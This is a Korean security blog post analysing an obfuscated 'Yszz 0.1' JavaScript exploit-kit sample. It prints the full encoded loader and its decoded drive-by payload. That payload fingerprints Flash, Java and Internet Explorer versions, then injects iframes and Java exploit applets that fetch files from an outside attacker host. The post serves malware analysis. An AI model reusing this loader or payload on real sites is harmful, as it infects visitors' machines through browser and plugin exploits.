실무에서 악성코드를 분석하시는 분의 블로그를 오랜만에 갔더니 새로운 난독화에 대한 포스팅이 보여 샘플을 얻어 분석해 보았다.


샘플은 다음과 같은 소스로 구성되어 있다.

<script type="text/javascript" src="swfobject.js"></script>

<script src=jpg.js></script>

<script language =javascript>

var uud1="%78"+"%78"+"%6F"+"%6F"+"%78"+"%78"+"%31";var uud2="%32"+"%33"+"%34"+"%35"+"%36"+"%37";var pkucde =uud1+uud2,AVgHbu2f=unescape,cu1l2lp3s2z="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",MxAAS="%64"+"%6f"+"%63"+"%75"+"%6d"+"%65"+"%6e"+"%74",UAXzqa1="%77"+"%72"+"%69"+"%74"+"%65",Kxllz1z;function Yszz_v1(str){var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4)

{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break;}}

return out.join('');}

var kaixindecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);

MxAAS=AVgHbu2f(MxAAS);

function kaixindecode(str)

{var c1,c2,c3,c4;/*Yszz 0.1*/var i,len,out;len=str.length;i=0;out = "";while(i<len)

{do

{c1=kaixindecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)

break;do

{c2=kaixindecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)

break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do

{c3=str.charCodeAt(i++)&0xff;if(c3==61)

return out;c3=kaixindecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)

break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do

{c4=str.charCodeAt(i++)&0xff;if(c4==61)

return out;c4=kaixindecodeChars[c4]}while(i<len&&c4==-1);if(c4==-1)

break;out+=String.fromCharCode(((c3&0x03)<<6)|c4)}

return out}

function long2str(v,w){var vl=v.length;var sl=v[vl-1]&0xffffffff;for(var i=0;i<vl;i++)

{v[i]=String.fromCharCode(v[i]&0xff,v[i]>>>8&0xff,v[i]>>>16&0xff,v[i]>>>24&0xff);}

if(w){return v.join('').substring(0,sl);}

else{return v.join('');}}

function str2long(s,w){var len=s.length;var v=[];for(var i=0;i<len;i+=4)

{v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24;}

if(w){v[v.length]=len;}

return v;}

Kxllz1z=AVgHbu2f(pkucde);

function kaixin(str,Udkz){if(str==""){return"";}

var v=str2long(str,false);var k=str2long(Udkz,false);var n=v.length-1;var z=v[n-1],y=v[0],delta=0x9E3779B9;var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;while(sum!=0){e=sum>>>2&3;for(var p=n;p>0;p--){z=v[p-1];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[p]=v[p]-mx&0xffffffff;}

z=v[n];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[0]=v[0]-mx&0xffffffff;sum=sum-delta&0xffffffff;}

return long2str(v,true);}

UAXzqa1=AVgHbu2f(UAXzqa1);

Dz=cu1l2lp3s2z;

Dz=Yszz_v1(kaixin(kaixindecode(Dz), Kxllz1z));alert(Dz);window[MxAAS][UAXzqa1] (Dz);

</script>

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////


 * 경고 : 해당 코드는 분석용 샘플 이긴 하나 실제 사용 되었던 코드이므로 사용을 자제하기 바랍니다. 사용시 책임은 본인에게 있습니다.


다른 난독화 소스들 보다 길지 않은 소스이다. 맨 아래를 보면 디코딩한 코드를 Dz 라는 변수에 담는 것을 확인 할 수 있다.


가볍게 alert()로 띄어주면 아래와 같은 코드가 보인다.




하지만 alert창에 크기 문제로 인해 모든 코드가 보이지 않는다. 복사하여 메모장 등에 붙여 넣으면 다음과 같이 코드의 전체를 확인 할 수 있다.


<script type="text/javascript">function whQd8(){       var pcss=navigator.userAgent.toLowerCase();       var kxkx=deconcept["SWFOb"+"jectU"+"til"]["getPlay"+"erVer"+"sion"]();       if(((kxkx['major']==10&&kxkx['minor']<=3)&&kxkx['rev']<=183||(kxkx['major']==11&&kxkx['minor']<=1&&kxkx['rev']<=102&&((pcss.indexOf('msie 6.0')>0)||(pcss.indexOf('msie 7.0')>0)||(pcss.indexOf('msie')==-1))))) { document.writeln("<iframe src=ff.html><\/iframe>"); } else         { var UaYcKzD2 = window.navigator.userAgent.toLowerCase(); if ((UaYcKzD2.indexOf('msie 6.0') > -1) || (UaYcKzD2.indexOf('msie 7.0') > -1))         {try{ var g;   var glworld=new ActiveXObject("ievkbd.IEVkbdBHO");}   catch(g){};   finally{if(g=="[object Error]"){       document.writeln("<iframe src=ms.html><\/iframe>");}else{}}        } }}if(document.cookie.indexOf("unxyingyooo=")==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie="unxyingyooo=Yes;path=/;expires="+expires.toGMTString();if(navigator.userAgent.toLowerCase().indexOf("msie")!=-1){try{ var g;   var glworld=new ActiveXObject("JavaWebStart.isInstalled");}   catch(g){};   finally{if(g=="[object Error]"){}else{var kaixinm=deployJava.getJREs()+"";kaixinm=parseInt(kaixinm.replace(/\.|\_/g,''));if (kaixinm<=17002){var kaixin=document.createElement('applet');kaixin.width="1";kaixin.height="1";}if((kaixinm<=16027 && kaixinm>=16000) || (kaixinm>=15000 && kaixinm<=15031)) {kaixin.archive="Gondad.jpg"; kaixin.code="GondadGondadExp.class";kaixin.setAttribute("data","http://slet.xvozz.com/pic/avi36.jpg ");document.body.appendChild(kaixin);}else if ((kaixinm<=17002 && kaixinm>=17000) || (kaixinm<=16030 && kaixinm>=16000) ||(kaixinm>=15033 && kaixinm<=15000)) {kaixin.archive="d812az1.jpg"; kaixin.code="GondadExp.Ohno.class"; kaixin.setAttribute("xiaomaolv","http://slet.xvozz.com/pic/avi36.jpg "); kaixin.setAttribute("bn","woyouyizhixiaomaolv");kaixin.setAttribute("si","conglaiyebuqi");kaixin.setAttribute("bs","748"); document.body.appendChild(kaixin);}}}}whQd8();}</script>


 * 경고 : 해당 코드는 분석용 샘플 이긴 하나 실제 사용 되었던 코드이므로 사용을 자제하기 바랍니다. 사용시 책임은 본인에게 있습니다.


디코딩 된 코드 또한 길지 않다. 빠르게 훑어보기만 하여도 얼추 IE 버전을 파악하여 공격하는 코드로 보인다.(6~7)


특이한 점은 공격에 사용 되는 것으로 보이는 jpg 파일이름과 클래스 파일이름이 dadong 난독화와 비슷하다는 것이다.


dadong 난독화는 중국어의 gondad를 거꾸로 표기 한 것으로 공격이란 뜻을 가지고 있다. dadong을 의식해서 만든 난독화인지 아니면 그냥 중국 해커에 의해서 만든 코드인데 우연찮게 gondad 라는 단어를 사용한 것인지는 현재로서 알 길이 없다.


무튼 특정 사이트에서 jpg 파일들을 다운받는다. 물론 악성 파일이 숨겨져 있는 jpg 파일일 것이다. 다운받아서 분석을 해보려 하였지만 현재 서버가 죽어있어 파일을 얻지 못하였다.



dadong에 비하면 난독화 알고리즘 자체에는 특별한 점을 찾아 볼 수 없는 난독화이다. 


과연 버전을 업데이트 하여 다시 나타날런지....


p.s - 일반 난독화 툴로도 충분히 난독화가 가능한 것을 확인하였다.


'[+] Security > [-] Analysis' 카테고리의 다른 글

CVE 2012-0507 간단 분석  (12) 2012.05.17
Yszz 0.1 난독화 등장!!  (0) 2012.05.17
Android Tigerbot-Spyera Analysis  (0) 2012.04.13
Android.Stiniter_TGLoader Analysis  (0) 2012.04.12
Encrypt By Dadong's JSXX 0.41 VIP 샘플 분석  (2) 2012.03.10

+ Recent posts